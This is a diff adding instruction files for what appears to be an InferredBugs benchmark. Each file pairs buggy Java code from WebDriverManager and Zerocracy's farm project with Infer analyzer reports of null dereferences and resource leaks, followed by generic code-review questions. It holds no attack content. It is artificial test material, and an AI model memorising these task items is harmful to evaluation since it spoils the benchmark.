+            String winBrowserName, String browserBinaryPath) {
+        String programFiles = System.getenv(programFilesEnv).replaceAll("\\\\",
+                "\\\\\\\\");
+        String browserPath = isNullOrEmpty(browserBinaryPath)
+                ? programFiles + winBrowserName
+                : browserBinaryPath;
+        String wmic = "wmic.exe";
+        return runAndWait(findFileLocation(wmic), wmic, "datafile", "where",
+                "name='" + browserPath + "'", "get", "Version", "/value");
+    }
+
+    protected File findFileLocation(String filename) {
+        // Alternative #1: in System32 folder
+        File system32Folder = new File(System.getenv("SystemRoot"), "System32");
+        File system32File = new File(system32Folder, filename);
+        if (checkFileAndFolder(system32Folder, system32File)) {
+            return system32Folder;
+        }
+        // Alternative #2: in wbem folder
+        File wbemFolder = new File(system32Folder, "wbem");
+        File wbemFile = new File(wbemFolder, filename);
+        if (checkFileAndFolder(wbemFolder, wbemFile)) {
+            return wbemFolder;
+        }
+        return new File(".");
+    }
+
+    protected boolean checkFileAndFolder(File folder, File file) {
+        return folder.exists() && folder.isDirectory() && file.exists()
+                && file.isFile();
+    }
+
+    protected Charset getVersionCharset() {
+        return defaultCharset();
+    }
+
+    protected String getLatestVersionLabel() {
+        return LATEST_RELEASE;
+    }
+
+    protected void reset() {
+        config().reset();
+        mirrorLog = false;
+        versionToDownload = null;
+        forcedArch = false;
+        forcedOs = false;
+        retryCount = 0;
+        isSnap = false;
+    }
+
+    protected String getProgramFilesEnv() {
+        return System.getProperty("os.arch").contains("64")
+                ? "PROGRAMFILES(X86)"
+                : "PROGRAMFILES";
+    }
+
+    protected String getOtherProgramFilesEnv() {
+        return System.getProperty("os.arch").contains("64") ? "PROGRAMFILES"
+                : "PROGRAMFILES(X86)";
+    }
+
+    protected URL getDriverUrlCkeckingMirror(URL url) {
+        if (config().isUseMirror()) {
+            Optional<URL> mirrorUrl = getMirrorUrl();
+            if (mirrorUrl.isPresent()) {
+                return mirrorUrl.get();
+            }
+        }
+        return url;
+    }
+
+    public static void main(String[] args) {
+        String validBrowsers = "chrome|firefox|opera|edge|phantomjs|iexplorer|selenium_server_standalone";
+        if (args.length <= 0) {
+            logCliError(validBrowsers);
+        } else {
+            String arg = args[0];
+            if (arg.equalsIgnoreCase("server")) {
+                startServer(args);
+            } else if (arg.equalsIgnoreCase("clear-preferences")) {
+                new Preferences(new Config()).clear();
+            } else {
+                resolveLocal(validBrowsers, arg);
+            }
+        }
+    }
+
+    private static void resolveLocal(String validBrowsers, String arg) {
+        log.info("Using WebDriverManager to resolve {}", arg);
+        try {
+            DriverManagerType driverManagerType = DriverManagerType
+                    .valueOf(arg.toUpperCase());
+            WebDriverManager wdm = WebDriverManager
+                    .getInstance(driverManagerType).avoidExport()
+                    .targetPath(".").forceDownload();
+            if (arg.equalsIgnoreCase("edge")
+                    || arg.equalsIgnoreCase("iexplorer")) {
+                wdm.operatingSystem(WIN);
+            }
+            wdm.avoidOutputTree().setup();
+        } catch (Exception e) {
+            log.error("Driver for {} not found (valid browsers {})", arg,
+                    validBrowsers);
+        }
+    }
+
+    private static void startServer(String[] args) {
+        int port = new Config().getServerPort();
+        if (args.length > 1 && isNumeric(args[1])) {
+            port = parseInt(args[1]);
+        }
+        new Server(port);
+    }
+
+    private static void logCliError(String validBrowsers) {
+        log.error("There are 3 options to run WebDriverManager CLI");
+        log.error(
+                "1. WebDriverManager used to resolve binary drivers locally:");
+        log.error("\tWebDriverManager browserName");
+        log.error("\t(where browserName={})", validBrowsers);
+
+        log.error("2. WebDriverManager as a server:");
+        log.error("\tWebDriverManager server <port>");
+        log.error("\t(where default port is 4041)");
+
+        log.error(
+                "3. To clear previously resolved driver versions (as Java preferences):");
+        log.error("\tWebDriverManager clear-preferences");
+    }
+
+    private void storeVersionToDownload(String version) {
+        if (!isNullOrEmpty(version)) {
+            if (version.startsWith(".")) {
+                version = version.substring(1);
+            }
+            versionToDownload = version;
+        }
+    }
+
+    private void setConfig(Config config) {
+        this.config = config;
+    }
+
+    protected Optional<String> getLatestDriverVersionFromRepository() {
+        return empty();
+    }
+
+    protected Optional<String> getDriverVersionFromRepository(
+            Optional<String> version) {
+        String url = version.isPresent()
+                ? getDriverUrl() + LATEST_RELEASE + "_" + version.get()
+                : getDriverUrl() + getLatestVersionLabel();
+        Optional<String> result = Optional.empty();
+        try (InputStream response = httpClient
+                .execute(httpClient.createHttpGet(new URL(url))).getEntity()
+                .getContent()) {
+            result = Optional.of(IOUtils.toString(response, getVersionCharset())
+                    .replaceAll("\r\n", ""));
+        } catch (Exception e) {
+            log.warn("Exception reading {} to get latest version of {} ({})",
+                    url, getDriverName(), e.getMessage());
+        }
+        if (result.isPresent()) {
+            log.debug("Latest version of {} according to {} is {}",
+                    getDriverName(), url, result.get());
+        }
+        return result;
+    }
+
+    // Exception required since msedgedriver sometimes is called edgedriver
+    protected String getShortDriverName() {
+        return getDriverName();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getDriverManagerType()` could be null and is dereferenced at line 277.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void WebDriverManager.manage(String)
+
+### Procedure Id:
+io.github.bonigarcia.wdm.WebDriverManager.manage(java.lang.String):void.a9145704f059ce7348de2562b45d5bdd
+
+### File:
+src/main/java/io/github/bonigarcia/wdm/WebDriverManager.java
+
+### Key:
+WebDriverManager.java|manage|NULL_DEREFERENCE
+
+### Node Key:
+4e40cf4b057cfc6102ca2104f1fe79e1
+
+### Hash:
+99676bfc5eecfdb765fb59e9fd1fff2f
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3062/instruction.md b/inferredbugs-3062/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..464fcbc6ccb13abfdcc8703cf8c0155c8bc090c7
--- /dev/null
+++ b/inferredbugs-3062/instruction.md
@@ -0,0 +1,150 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 118
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016-2019 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy.tk;
+
+import com.zerocracy.FkFarm;
+import java.net.HttpURLConnection;
+import java.util.Arrays;
+import java.util.Collection;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.takes.Take;
+import org.takes.facets.hamcrest.HmRsStatus;
+import org.takes.rq.RqFake;
+
+/**
+ * Test case for {@link TkApp}.
+ * @since 1.0
+ * @checkstyle JavadocMethodCheck (500 lines)
+ * @checkstyle JavadocVariableCheck (500 lines)
+ * @checkstyle VisibilityModifierCheck (500 lines)
+ */
+@RunWith(Parameterized.class)
+public final class TkAppUrlTest {
+
+    @Parameterized.Parameter
+    public String url;
+
+    @Parameterized.Parameters(name = "{0}")
+    public static Collection<Object[]> params() {
+        return Arrays.asList(
+            new Object[][]{
+                {"/robots.txt"},
+                {"/css/main.css"},
+                {"/xsl/index.xsl"},
+                {"/xsl/layout.xsl"},
+                {"/badge/123456789.svg"},
+                {"/svg/logo.svg"},
+                {"/png/logo.png"},
+                {"/"},
+                {"/org/takes/rs/xe/memory.xsl"},
+                {"/add_to_slack"},
+            }
+        );
+    }
+
+    @Test
+    public void rendersAllPossibleUrls() throws Exception {
+        final Take take = new TkApp(FkFarm.props());
+        MatcherAssert.assertThat(
+            this.url,
+            take.act(new RqFake("GET", this.url)),
+            Matchers.not(
+                new HmRsStatus(
+                    HttpURLConnection.HTTP_NOT_FOUND
+                )
+            )
+        );
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.FkFarm` acquired by call to `props()` at line 65 is not released after line 65.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TkAppUrlTest.rendersAllPossibleUrls()
+
+### Procedure Id:
+com.zerocracy.tk.TkAppUrlTest.rendersAllPossibleUrls():void.aaab13d0cf9d3af5c409603245845d1e
+
+### File:
+src/test/java/com/zerocracy/tk/TkAppUrlTest.java
+
+### Key:
+TkAppUrlTest.java|rendersAllPossibleUrls|RESOURCE_LEAK
+
+### Node Key:
+379a7b3dd7e0921ece95a4f239c6d9b8
+
+### Hash:
+070fedf79845225ee4d9c9b51fbdcd19
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3096/instruction.md b/inferredbugs-3096/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e95e08f79bb6d2187d7617839717f6e39b0c3076
--- /dev/null
+++ b/inferredbugs-3096/instruction.md
@@ -0,0 +1,291 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 136
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016-2019 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy.tk.profile;
+
+import com.jcabi.matchers.XhtmlMatchers;
+import com.zerocracy.Farm;
+import com.zerocracy.FkFarm;
+import com.zerocracy.FkProject;
+import com.zerocracy.cash.Cash;
+import com.zerocracy.farm.props.PropsFarm;
+import com.zerocracy.pm.staff.Roles;
+import com.zerocracy.pmo.Agenda;
+import com.zerocracy.pmo.Awards;
+import com.zerocracy.pmo.Catalog;
+import com.zerocracy.pmo.Debts;
+import com.zerocracy.pmo.People;
+import com.zerocracy.pmo.Pmo;
+import com.zerocracy.pmo.Projects;
+import com.zerocracy.tk.RqWithUser;
+import com.zerocracy.tk.TkApp;
+import com.zerocracy.tk.View;
+import java.net.URLEncoder;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Path;
+import org.cactoos.list.ListOf;
+import org.cactoos.text.FormattedText;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.hamcrest.core.StringContains;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TemporaryFolder;
+import org.takes.rq.RqFake;
+import org.takes.rs.RsPrint;
+
+/**
+ * Test case for {@link TkProfile}.
+ * @since 1.0
+ * @checkstyle JavadocMethodCheck (500 lines)
+ * @checkstyle ClassDataAbstractionCouplingCheck (500 lines)
+ */
+@SuppressWarnings({"PMD.AvoidDuplicateLiterals", "PMD.ExcessiveImports"})
+public final class TkProfileTest {
+
+    /**
+     * Temporary folder.
+     */
+    @Rule
+    public TemporaryFolder folder = new TemporaryFolder();
+
+    @Test
+    public void rendersHomePage() throws Exception {
+        final Farm farm = new PropsFarm(new FkFarm());
+        final String uid = "yegor";
+        new Awards(farm, uid).bootstrap().add(
+            new FkProject(), 1, "gh:test/test#1", "reason"
+        );
+        new Agenda(farm, uid).bootstrap().add(
+            new FkProject(), "gh:test/test#2", "QA"
+        );
+        MatcherAssert.assertThat(
+            XhtmlMatchers.xhtml(new View(farm, "/u/Yegor256").html()),
+            XhtmlMatchers.hasXPaths("//xhtml:body")
+        );
+    }
+
+    @Test
+    public void rendersProfilePageWithRateInFirefox() throws Exception {
+        final Farm farm = new PropsFarm(new FkFarm());
+        final double rate = 99.99;
+        final People people = new People(farm).bootstrap();
+        people.rate(
+            "yegor256", new Cash.S(String.format("USD %f", rate))
+        );
+        MatcherAssert.assertThat(
+            new View(farm, "/u/yegor256").html(),
+            Matchers.containsString(
+                String.format(
+                    "rate</a> is <span style=\"color:darkgreen\">$%.2f</span>",
+                    rate
+                )
+            )
+        );
+    }
+
+    @Test
+    public void rendersProfilePageInFirefoxWithReputation() throws Exception {
+        final Farm farm = new PropsFarm(new FkFarm());
+        final String user = "yegor256";
+        MatcherAssert.assertThat(
+            new View(farm, String.format("/u/%s", user)).html(),
+            XhtmlMatchers.hasXPath(
+                String.format(
+                    "//xhtml:a[@href='https://github.com/%s']",
+                    user
+                )
+            )
+        );
+    }
+
+    @Test
+    public void rendersProfilePageWithoutRateInFirefox() throws Exception {
+        final Farm farm = new PropsFarm(new FkFarm());
+        final String uid = "yegor256";
+        MatcherAssert.assertThat(
+            new View(farm, String.format("/u/%s", uid)).html(),
+            Matchers.containsString("rate</a> is not defined")
+        );
+    }
+
+    @Test
+    public void rendersDebts() throws Exception {
+        final Farm farm = new PropsFarm(new FkFarm());
+        final Debts debts = new Debts(farm).bootstrap();
+        final String uid = "yegor256";
+        final String first = "details 1";
+        final String second = "details 2";
+        final String price = "$9.99";
+        final String amount = "$3.33";
+        final String reason = "reason";
+        debts.add(uid, new Cash.S(price), first, reason);
+        debts.add(uid, new Cash.S(amount), second, reason);
+        final String html = new View(farm, String.format("/u/%s", uid)).html();
+        MatcherAssert.assertThat(
+            html,
+            Matchers.allOf(
+                XhtmlMatchers.hasXPaths(
+                    new FormattedText(
+                        "//xhtml:td[.='%s (%s)']", first, reason
+                    ).asString()
+                ),
+                XhtmlMatchers.hasXPaths(
+                    new FormattedText(
+                        "//xhtml:td[.='%s (%s)']", second, reason
+                    ).asString()
+                ),
+                XhtmlMatchers.hasXPaths(
+                    new FormattedText("//xhtml:td[.='%s']", price).asString()
+                ),
+                XhtmlMatchers.hasXPaths(
+                    new FormattedText("//xhtml:td[.='%s']", amount).asString()
+                )
+            )
+        );
+    }
+
+    @Test
+    public void allowsPoToSeeProfile() throws Exception {
+        final Path tmp = this.folder.newFolder().toPath();
+        final FkProject project = new FkProject(tmp, "AGENDPRJ1");
+        final Farm farm = new PropsFarm(new FkFarm(project));
+        final Catalog catalog = new Catalog(new Pmo(farm)).bootstrap();
+        catalog.add(project.pid(), String.format("2017/07/%s/", project.pid()));
+        catalog.link(project.pid(), "github", "test/test");
+        final String uid = "krzyk";
+        new People(farm).bootstrap().touch(uid);
+        new Projects(farm, uid).bootstrap().add(project.pid());
+        new Roles(project).bootstrap().assign(uid, "PO");
+        MatcherAssert.assertThat(
+            XhtmlMatchers.xhtml(
+                new RsPrint(
+                    new TkApp(farm).act(
+                        new RqWithUser(
+                            farm,
+                            new RqFake(
+                                new ListOf<>(
+                                    String.format("GET /u/%s", uid),
+                                    "Host: www.example.com",
+                                    "Accept: application/vnd.zerocracy+xml"
+                                ),
+                                ""
+                            ),
+                            uid
+                        )
+                    )
+                ).printBody()
+            ),
+            XhtmlMatchers.hasXPaths(
+                String.format(
+                    "/page/details/projects/project[.='%s']",
+                    project.pid()
+                )
+            )
+        );
+    }
+
+    @Test
+    public void showsLinkToPolicyForUnknownUser() throws Exception {
+        final String flash =
+            // @checkstyle LineLength (1 line)
+            "@nvseenu is not invited to us yet, see <a href=\"www.zerocracy.com/policy.html#1\">§1</a>";
+        MatcherAssert.assertThat(
+            new View(new PropsFarm(new FkFarm()), "/").html(
+                new FormattedText(
+                    "Cookie: RsFlash=%s/WARNING",
+                    URLEncoder.encode(flash, StandardCharsets.UTF_8.toString())
+                ).asString()
+            ),
+            new StringContains(flash)
+        );
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.farm.props.PropsFarm` acquired by call to `PropsFarm(...)` at line 83 is not released after line 98.
+**Note**: potential exception at line 86
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TkProfileTest.rendersProfilePageWithRateInFirefox()
+
+### Procedure Id:
+com.zerocracy.tk.profile.TkProfileTest.rendersProfilePageWithRateInFirefox():void.9234c435b2ac600d934a56a39e037586
+
+### File:
+src/test/java/com/zerocracy/tk/profile/TkProfileTest.java
+
+### Key:
+TkProfileTest.java|rendersProfilePageWithRateInFirefox|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+b07ce40600145c7837f82c561912be28
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3110/instruction.md b/inferredbugs-3110/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..65d47cb1602f0c0c65dd4426b0cf3e03ea1e2b5d
--- /dev/null
+++ b/inferredbugs-3110/instruction.md
@@ -0,0 +1,1056 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 99
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016-2019 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy.pmo;
+
+import com.zerocracy.Farm;
+import com.zerocracy.Item;
+import com.zerocracy.Par;
+import com.zerocracy.Project;
+import com.zerocracy.SoftException;
+import com.zerocracy.Xocument;
+import com.zerocracy.cash.Cash;
+import java.io.IOException;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import org.cactoos.collection.CollectionOf;
+import org.cactoos.iterable.Mapped;
+import org.cactoos.list.ListOf;
+import org.cactoos.list.SolidList;
+import org.cactoos.scalar.IoCheckedScalar;
+import org.cactoos.scalar.Reduced;
+import org.cactoos.time.DateAsText;
+import org.xembly.Directives;
+
+/**
+ * Catalog of all projects.
+ *
+ * @since 1.0
+ * @todo #1305:30min Continue replacing old Date classes with Instant.
+ *  Remember also to remove instances of `DateAsText` (Instant.toString should
+ *  be used). Be careful to ensure Groovy classes are properly updated since
+ *  typing is sometimes dodgy in there. There is a lot of classes to change so
+ *  try to find a good small cluster of related classes that can be updated.
+ * @checkstyle ClassDataAbstractionCouplingCheck (500 lines)
+ */
+@SuppressWarnings(
+    {
+        "PMD.TooManyMethods", "PMD.AvoidDuplicateLiterals", "PMD.GodClass"
+    }
+)
+public final class Catalog {
+
+    /**
+     * Title.
+     */
+    private static final String PRJ_TITLE = "title";
+
+    /**
+     * PMO.
+     */
+    private final Project pmo;
+
+    /**
+     * Ctor.
+     * @param farm Farm
+     */
+    public Catalog(final Farm farm) {
+        this(new Pmo(farm));
+    }
+
+    /**
+     * Ctor.
+     * @param pkt PMO
+     */
+    public Catalog(final Project pkt) {
+        this.pmo = pkt;
+    }
+
+    /**
+     * Bootstrap it.
+     * @return Itself
+     * @throws IOException If fails
+     */
+    public Catalog bootstrap() throws IOException {
+        try (final Item team = this.item()) {
+            new Xocument(team).bootstrap("pmo/catalog");
+        }
+        return this;
+    }
+
+    /**
+     * Return all sandbox projects.
+     * @return List of sandbox projects
+     * @checkstyle NonStaticMethodCheck (3 lines)
+     */
+    public Collection<String> sandbox() {
+        return new CollectionOf<>(
+            "CAZPZR9FS", "C63314D6Z", "C7JGJ00DP"
+        );
+    }
+
+    /**
+     * Delete it entirely.
+     * @param pid Project ID
+     * @throws IOException If fails
+     */
+    public void delete(final String pid) throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par("Project %s doesn't exist, can't delete").say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives().xpath(
+                    String.format("/catalog/project[@id='%s'] ", pid)
+                ).strict(1).remove()
+            );
+        }
+    }
+
+    /**
+     * Create a project with the given ID.
+     * @param pid Project ID
+     * @param prefix The prefix
+     * @throws IOException If fails
+     */
+    public void add(final String pid, final String prefix) throws IOException {
+        if (this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par("Project %s already exists").say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives()
+                    .xpath("/catalog")
+                    .add("project")
+                    .attr("id", pid)
+                    .add(Catalog.PRJ_TITLE).set(pid).up()
+                    .add("created")
+                    .set(new DateAsText().asString()).up()
+                    .add("prefix").set(prefix).up()
+                    .add("alive").set(true).up()
+                    .add("fee").set(Cash.ZERO).up()
+                    .add("publish").set(Boolean.toString(false)).up()
+                    .add("adviser").set("0crat").up()
+                    .add("architect").set("0crat").up()
+                    .add("members").up()
+                    .add("jobs").set(0).up()
+                    .add("orders").set(0).up()
+                    .add("cash").attr("deficit", false).set(Cash.ZERO).up()
+                    .add("languages").up()
+            );
+        }
+    }
+
+    /**
+     * Project's architect.
+     * @param pid Project id
+     * @return Architect login
+     * @throws IOException If fails
+     */
+    public String architect(final String pid) throws IOException {
+        this.checkExist(pid);
+        try (final Item item = this.item()) {
+            return new Xocument(item.path())
+                .xpath(
+                    String.format(
+                        "/catalog/project[@id = '%s']/architect/text()",
+                        pid
+                    )
+                ).iterator().next();
+        }
+    }
+
+    /**
+     * Change project architect.
+     * @param pid Project id
+     * @param arc New architect
+     * @throws IOException If fails
+     */
+    public void architect(final String pid, final String arc)
+        throws IOException {
+        this.checkExist(pid);
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives()
+                    .xpath(String.format("/catalog/project[@id =  '%s']", pid))
+                    .strict(1)
+                    .addIf("architect")
+                    .set(arc)
+            );
+        }
+    }
+
+    /**
+     * Project jobs count.
+     * @param pid Project id
+     * @return Jobs count
+     * @throws IOException If fails
+     */
+    public int jobs(final String pid) throws IOException {
+        this.checkExist(pid);
+        try (final Item item = this.item()) {
+            return Integer.parseInt(
+                new Xocument(item.path())
+                    .xpath(
+                        String.format(
+                            "/catalog/project[@id = '%s']/jobs/text()",
+                            pid
+                        )
+                    ).iterator().next()
+            );
+        }
+    }
+
+    /**
+     * Change project jobs count.
+     * @param pid Project id
+     * @param cnt Jobs count
+     * @throws IOException If fails
+     */
+    public void jobs(final String pid, final int cnt)
+        throws IOException {
+        this.checkExist(pid);
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives()
+                    .xpath(String.format("/catalog/project[@id =  '%s']", pid))
+                    .strict(1)
+                    .addIf("jobs")
+                    .set(cnt)
+            );
+        }
+    }
+
+    /**
+     * Project orders count.
+     * @param pid Project id
+     * @return Architect login
+     * @throws IOException If fails
+     */
+    public int orders(final String pid) throws IOException {
+        this.checkExist(pid);
+        try (final Item item = this.item()) {
+            return Integer.parseInt(
+                new Xocument(item.path())
+                    .xpath(
+                        String.format(
+                            "/catalog/project[@id = '%s']/orders/text()",
+                            pid
+                        )
+                    ).iterator().next()
+            );
+        }
+    }
+
+    /**
+     * Change project orders count.
+     * @param pid Project id
+     * @param cnt New order count
+     * @throws IOException If fails
+     */
+    public void orders(final String pid, final int cnt)
+        throws IOException {
+        this.checkExist(pid);
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives()
+                    .xpath(String.format("/catalog/project[@id =  '%s']", pid))
+                    .strict(1)
+                    .addIf("orders")
+                    .set(cnt)
+            );
+        }
+    }
+
+    /**
+     * Does project under deficit.
+     * @param pid Project id
+     * @return TRUE if in deficit
+     * @throws IOException If fails
+     */
+    public boolean deficit(final String pid) throws IOException {
+        this.checkExist(pid);
+        try (final Item item = this.item()) {
+            return Boolean.parseBoolean(
+                new Xocument(item.path())
+                    .xpath(
+                        String.format(
+                            "/catalog/project[@id = '%s']/cash/@deficit",
+                            pid
+                        )
+                    ).iterator().next()
+            );
+        }
+    }
+
+    /**
+     * Available cash in project.
+     * @param pid Project id
+     * @return Cash amount
+     * @throws IOException If fails
+     */
+    public Cash cash(final String pid) throws IOException {
+        this.checkExist(pid);
+        try (final Item item = this.item()) {
+            return new Cash.S(
+                new Xocument(item.path())
+                    .xpath(
+                        String.format(
+                            "/catalog/project[@id = '%s']/cash/text()",
+                            pid
+                        )
+                    ).iterator().next()
+            );
+        }
+    }
+
+    /**
+     * Change project cash.
+     * @param pid Project id
+     * @param cash New cash
+     * @param deficit TRUE if under deficit
+     * @throws IOException If fails
+     */
+    public void cash(final String pid, final Cash cash, final boolean deficit)
+        throws IOException {
+        this.checkExist(pid);
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives()
+                    .xpath(String.format("/catalog/project[@id =  '%s']", pid))
+                    .strict(1)
+                    .push()
+                    .xpath("cash")
+                    .remove()
+                    .pop()
+                    .add("cash")
+                    .attr("deficit", deficit)
+                    .set(cash)
+            );
+        }
+    }
+
+    /**
+     * All project members.
+     * @param pid Project id
+     * @return Members logins
+     * @throws IOException If fails
+     */
+    public Collection<String> members(final String pid) throws IOException {
+        this.checkExist(pid);
+        try (final Item item = this.item()) {
+            return new Xocument(item.path()).xpath(
+                String.format(
+                    "/catalog/project[@id='%s']/members/member/text()",
+                    pid
+                )
+            );
+        }
+    }
+
+    /**
+     * All project members.
+     * @param pid Project id.
+     * @param members Members
+     * @throws IOException If fails
+     */
+    public void members(final String pid, final Iterable<String> members)
+        throws IOException {
+        this.checkExist(pid);
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives()
+                    .xpath(String.format("/catalog/project[@id =  '%s']", pid))
+                    .strict(1)
+                    .push()
+                    .xpath("members/member")
+                    .remove()
+                    .pop()
+                    .addIf("members")
+                    .append(
+                        new IoCheckedScalar<>(
+                            new Reduced<>(
+                                new Directives(),
+                                (dirs, member) -> dirs
+                                    .add("member")
+                                    .set(member)
+                                    .up(),
+                                members
+                            )
+                        ).value()
+                    )
+            );
+        }
+    }
+
+    /**
+     * Project's language stack.
+     * @param pid Project id
+     * @return Languages set
+     * @throws IOException If fails
+     */
+    public Set<String> languages(final String pid) throws IOException {
+        this.checkExist(pid);
